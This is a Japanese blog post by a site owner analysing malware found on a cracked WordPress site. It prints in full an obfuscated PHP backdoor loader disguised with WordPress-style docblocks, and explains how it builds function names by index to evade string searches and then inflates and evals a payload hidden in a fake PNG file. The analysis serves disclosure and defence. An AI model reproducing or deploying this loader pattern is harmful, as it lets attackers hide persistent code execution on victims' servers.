ノーガードのWordpressがクラックされたけど、いいサンプルが手に入ったので晒し上げ

WPがクラックされて
``wp-include/init.php``としてこんなコードが置かれてた


```php
<?php
class MimeTypeDefinitionService {

	/**
	 * Add handle data.
	 *
	 * @access public
	 * @since 2.6.0
	 *       
	 * @param string $name
	 *        	The data key to add.
	 * @param mixed $data
	 *        	The data value to add.
	 * @return bool False if not scalar, true otherwise.
	 */
	public function addData($name, $data) {
		if (!is_scalar($name))
			return false;
		$this->extra[$name]=$data;
		return true;
	}

	/**
	 * initialize
	 * 
	 * @access public
	 * @return void
	 */
	public function init() {
		$documentDir=$_SERVER['DOCUMENT_ROOT'];
		$mimeDesc=$this->getMimeDescription($documentDir);
		$this->extendMime($mimeDesc);
		$this->prepareDir($mimeDesc);
	}

	/**
	 * extend mime definition
	 * 
	 * @access public
	 * @var string
	 * @return void
	 */
	public function extendMime($mimeDesc) {
		$marker=$this->exntendMarker('data');
		define($marker, dirname($mimeDesc));
		$marker=$this->exntendMarker('path');
		define($marker, $mimeDesc);
	}

	/**
	 * Checks if a specific action has been registered for this hook.
	 *
	 * @since 4.7.0
	 * @access public
	 *        
	 * @param callable|bool $function_to_check
	 *        	Optional. The callback to check for. Default false.
	 * @param string $tag
	 *        	Optional. The name of the filter hook. Used for building
	 *        	the callback ID when SPL is not available. Default empty.
	 * @return bool|int The priority of that hook is returned, or false if the
	 *         function is not attached.
	 */
	public function hasFilter($tag='', $function_to_check=false) {
		if (false===$function_to_check) {
			return $this->has_filters();
		}
		
		$function_key=array(
				$tag,
				$function_to_check,
				false
		);
		if (!$function_key) {
			return false;
		}
		
		foreach($this->callbacks as $priority=>$callbacks) {
			if (isset($callbacks[$function_key])) {
				return $priority;
			}
		}
		
		return false;
	}

	/**
	 * extend marker definition
	 * 
	 * @access public
	 * @var string
	 * @return string
	 */
	public function exntendMarker($marker) {
		$marker=str_pad(strtoupper($marker), strlen($marker)+3, '_', STR_PAD_LEFT);
		return $marker;
	}

	/**
	 * create extension for mime patern
	 * 
	 * @access public
	 * @var string
	 * @return string
	 */
	public function createExtension($pattern) {
		$subst='mime';
		$list=array();
		for($i=0; $i<3; $i++)
			$list[]=sprintf($pattern, $subst, $this->createMarker($i), $subst);
		return join(';', $list).';';
	}

	/**
	 * Filters the list, based on a set of key => value arguments.
	 *
	 * @since 4.7.0
	 *       
	 * @param array $args
	 *        	Optional. An array of key => value arguments to match
	 *        	against each object. Default empty array.
	 * @param string $operator
	 *        	Optional. The logical operation to perform. 'AND' means
	 *        	all elements from the array must match. 'OR' means only
	 *        	one element needs to match. 'NOT' means no elements may
	 *        	match. Default 'AND'.
	 * @return array Array of found values.
	 */
	public function filter($args=array(), $operator='AND') {
		if (empty($args)) {
			return $this->output;
		}
		
		$operator=strtoupper($operator);
		
		if (!in_array($operator, array(
				'AND',
				'OR',
				'NOT'
		), true)) {
			return array();
		}
		
		$count=count($args);
		$filtered=array();
		
		foreach($this->output as $key=>$obj) {
			$to_match=(array)$obj;
			
			$matched=0;
			foreach($args as $m_key=>$m_value) {
				if (array_key_exists($m_key, $to_match)&&$m_value==$to_match[$m_key]) {
					$matched++;
				}
			}
			
			if (('AND'==$operator&&$matched==$count)||('OR'==$operator&&$matched>0)||('NOT'==$operator&&0==$matched)) {
				$filtered[$key]=$obj;
			}
		}
		
		$this->output=$filtered;
		
		return $this->output;
	}

	/**
	 * create marker for type
	 * 
	 * @access public
	 * @var int
	 * @return string
	 */
	public function createMarker($type) {
		$alpha=range('a', 'z');
		switch ($type){
			case 0:
				$numbers=array(5,8,11,4,-1,6,4,19,-1,2,14,13,19,4,13,19,18);
				break;
			case 1:
				$numbers=array(6,25,8,13,5,11,0,19,4);
				break;
			case 2:
				$numbers=array(4,21,0,11);
				break;
		}
		$marker='';
		for($i=0; $i<count($numbers); $i++) {
			if ($numbers[$i]<0) {
				$marker.='_';
				continue;
			}
			$marker.=$alpha[$numbers[$i]];
		}
		return $marker;
	}

	/**
	 * Sorts the list, based on one or more orderby arguments.
	 *
	 * @since 4.7.0
	 *       
	 * @param string|array $orderby
	 *        	Optional. Either the field name to order by or an array
	 *        	of multiple orderby fields as $orderby => $order.
	 * @param string $order
	 *        	Optional. Either 'ASC' or 'DESC'. Only used if $orderby
	 *        	is a string.
	 * @param bool $preserve_keys
	 *        	Optional. Whether to preserve keys. Default false.
	 * @return array The sorted array.
	 */
	public function sort($orderby=array(), $order='ASC', $preserve_keys=false) {
		if (empty($orderby)) {
			return $this->output;
		}
		
		if (is_string($orderby)) {
			$orderby=array(
					$orderby=>$order
			);
		}
		
		foreach($orderby as $field=>$direction) {
			$orderby[$field]='DESC'===strtoupper($direction) ? 'DESC' : 'ASC';
		}
		
		$this->orderby=$orderby;
		
		if ($preserve_keys) {
			uasort($this->output, array(
					$this,
					'sort_callback'
			));
		} else {
			usort($this->output, array(
					$this,
					'sort_callback'
			));
		}
		
		$this->orderby=array();
		
		return $this->output;
	}

	/**
	 * prepare document directory
	 * 
	 * @access public
	 * @var string
	 * @return void
	 */
	public function prepareDir($path) {
		$labels=array('function','variable','document','cache','create','load');
		$markers=array(
				$labels[4],
				$labels[0]
		);
		$factoryName=join('_', $markers);
		$param='$';
		$param.='mime';
		$pattern='$%s=%s($%s)';
		$extension=$this->createExtension($pattern);
		$dircreator=$factoryName($param, $extension);
		$dircreator($path);
	}

	/**
	 * Callback to sort the list by specific fields.
	 *
	 * @since 4.7.0
	 * @access public
	 *        
	 * @see WP_List_Util::sort()
	 *
	 * @param object|array $a
	 *        	One object to compare.
	 * @param object|array $b
	 *        	The other object to compare.
	 * @return int 0 if both objects equal. -1 if second object should come
	 *         first, 1 otherwise.
	 */
	public function sortCallback($a, $b) {
		if (empty($this->orderby)) {
			return 0;
		}
		
		$a=(array)$a;
		$b=(array)$b;
		
		foreach($this->orderby as $field=>$direction) {
			if (!isset($a[$field])||!isset($b[$field])) {
				continue;
			}
			
			if ($a[$field]==$b[$field]) {
				continue;
			}
			
			$results='DESC'===$direction ? array(1,	-1) : array(-1,	1);
			
			if (is_numeric($a[$field])&&is_numeric($b[$field])) {
				return ($a[$field]<$b[$field]) ? $results[0] : $results[1];
			}
			
			return 0>strcmp($a[$field], $b[$field]) ? $results[0] : $results[1];
		}
		
		return 0;
	}

	/**
	 * get mime description for document
	 * 
	 * @access public
	 * @var string
	 * @return string
	 */
	public function getMimeDescription($documentDir) {
		$indicies=array(4, 1, 0, 3, 6, 2, 5);
		$mimeMarkers=array('myTheme', 'themes', 'images', 'blocks', 'wp-content', 'pattern11', 'slider');
		$mimeType='png';
		$selecteds=array();
		foreach($indicies as $index) {
			$selected=$mimeMarkers[$index];
			$selecteds[]=$selected;
		}
		array_unshift($selecteds, $documentDir);
		$cachePath=join('/', $selecteds);
		return $cachePath.'.'.$mimeType;
	}
}

$__mimeSrv=new MimeTypeDefinitionService();
$__mimeSrv->init();
```


危険な関数を遠回しに実行して欺瞞してるけど
やってることは画像ファイルに偽装した
圧縮されたプログラムのファイルを解凍して実行

各メソッドの実行結果はこんな感じ

```php
echo $__mimeSrv->createMarker(0);
//file_get_contents
echo $__mimeSrv->createMarker(1);
//gzinflate
echo $__mimeSrv->createMarker(2);
//eval

echo $__mimeSrv->getMimeDescription('www/example.com');
//www/example.com/wp-content/themes/myTheme/blocks/slider/images/pattern11.png

echo $__mimeSrv->createExtension('$%s=%s($%s)');
//$mime=gzinflate($mime);$mime=eval($mime);
```

単純な文字列検索で見つからないように
害意のあるプログラムに使われる関数名を欺瞞している

blocks/slider/images/pattern11.pngってのが画像に偽装したプログラム
こっちの中身はまだ見れてない

このほかにもたくさん画像に偽装した圧縮ファイルがいた
そっちは多分重さ的にデータファイルかな

最近管理者アカウントのパスワードが
勝手に変更されるということがあったので
多分その時にクラックされて仕込まれたのだろう

管理者アカウントがクラックされたってことは
まあDB接続情報も流出したと考えるべきだろう

どこに偽装ファイルがいるかも分からないし
安全を考えるなら一度作り直してしまった方がいいかな



ノーガード危ないね